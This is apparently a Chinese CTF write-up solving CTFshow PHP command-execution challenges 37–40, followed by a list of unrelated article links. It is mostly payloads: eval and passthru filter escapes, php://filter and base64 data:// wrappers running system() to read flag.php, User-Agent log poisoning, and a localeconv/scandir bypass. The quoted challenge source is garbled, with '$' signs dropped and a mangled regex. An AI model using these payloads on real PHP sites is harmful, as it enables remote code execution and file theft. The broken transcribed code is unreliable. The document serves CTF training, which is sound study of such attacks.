CTFshow web(php命令执行 37-40)

?c=eval($_GET[shy]);&shy=passthru('cat flag.php'); #逃逸过滤

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php #文件包含

?c=include%0a_GET\[cmd\]?\>\&cmd=php://filter/read=convert.base64-encode/resource=flag.php #文件包含 ?c=include_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?> #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== #文件包含

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入<?php echo system('ls');?> #文件日志包含

?c=echo(`tac%09f*`); #反引号

这里是刷题篇,以上命令的原理来自

一篇文章带你进阶CTF命令执行-CSDN博客

可以先磨下刀,刷题更稳

这里的payload:

复制代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

include典型的文件包含,正好我之前写过类似的文章

文件包含提升-CSDN博客

直接照搬上去就好,这里不用phpinfo了,里面没有flag,直接换用<?php system('cat flag.php')?>

就好了,详细文件包含知识和原理在上面的文章

web38

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 05:23:36

@email: [email protected]

@link: https://ctfer.com

*/

//flag in flag.php

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|php|file/i", $c)){

include($c);

echo $flag;

}

}else{

highlight_file(FILE);

}

还是直接data伪协议读取就好了,这里没有禁用这个,那就

复制代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 06:13:21

@email: [email protected]

@link: https://ctfer.com

*/

//flag in flag.php

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag/i", $c)){

include($c.".php");

}

}else{

highlight_file(FILE);

}

还想啥,直接丢命令上去

这里证明还是可以执行这个为协议读取phpinfo的,直接CTRL+f全局查找ctfshow这几个关键字,发现没有flag,不过没事,换个命令就好了

<?=system("tac fla*.php");?>

这里别让对面匹配到php,直接用星号或者?替换就好

web40

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 06:03:36

@email: [email protected]

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\-\|\\=\|\\+\|\\{\|\\\[\|\\\]\|\\}\|\\:\|\\'\|\\"\|\\,\|\\\<\|\\.\|\\\>\|\\/\|\\?\|\\\\\\\\/i", c)){

eval($c);

}

}else{

highlight_file(FILE);

}

到这里把特殊符号和数字基本都过滤了,有点狠了,之前的命令没有用,现在该凭借能力审计代码了。'

这里直接引用师傅的解释:

yu22x

先把payload写下 highlight_file(next(array_reverse(scandir(pos(localeconv())))));

需要用到的函数

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。

array_reverse():数组逆序

scandir():获取目录下的文件

next(): 函数将内部指针指向数组中的下一个元素,并输出。

首先通过 pos(localeconv())得到点号,因为scandir('.')表示得到当前目录下的文件,所以

scandir(pos(localeconv()))就能得到flag.php了。具体内容如下

真心希望文章能够帮助大家学习,谢谢!

相关推荐
大莲芒1 小时前
react 15-16-17-18各版本的核心区别、底层原理及演进逻辑的深度解析--react17
前端·react.js·前端框架
木木黄木木3 小时前
html5炫酷3D文字效果项目开发实践
前端·3d·html5
Li_Ning213 小时前
【接口重复请求】axios通过AbortController解决页面切换过快,接口重复请求问题
前端
每次的天空3 小时前
Android学习总结之算法篇五(字符串)
android·学习·算法
胡八一4 小时前
Window调试 ios 的 Safari 浏览器
前端·ios·safari
Dontla4 小时前
前端页面鼠标移动监控(鼠标运动、鼠标监控)鼠标节流处理、throttle、限制触发频率(setTimeout、clearInterval)
前端·javascript
fanjinhong_85214 小时前
网络安全防御核心原则与实践指南
网络·安全·web安全
再学一点就睡4 小时前
深拷贝与浅拷贝:代码世界里的永恒与瞬间
前端·javascript
Gracker4 小时前
Android Weekly #202513
android
CrimsonHu4 小时前
B站首页的 Banner 这么好看,我用原生 JS + 三大框架统统给你复刻一遍!
前端·javascript·css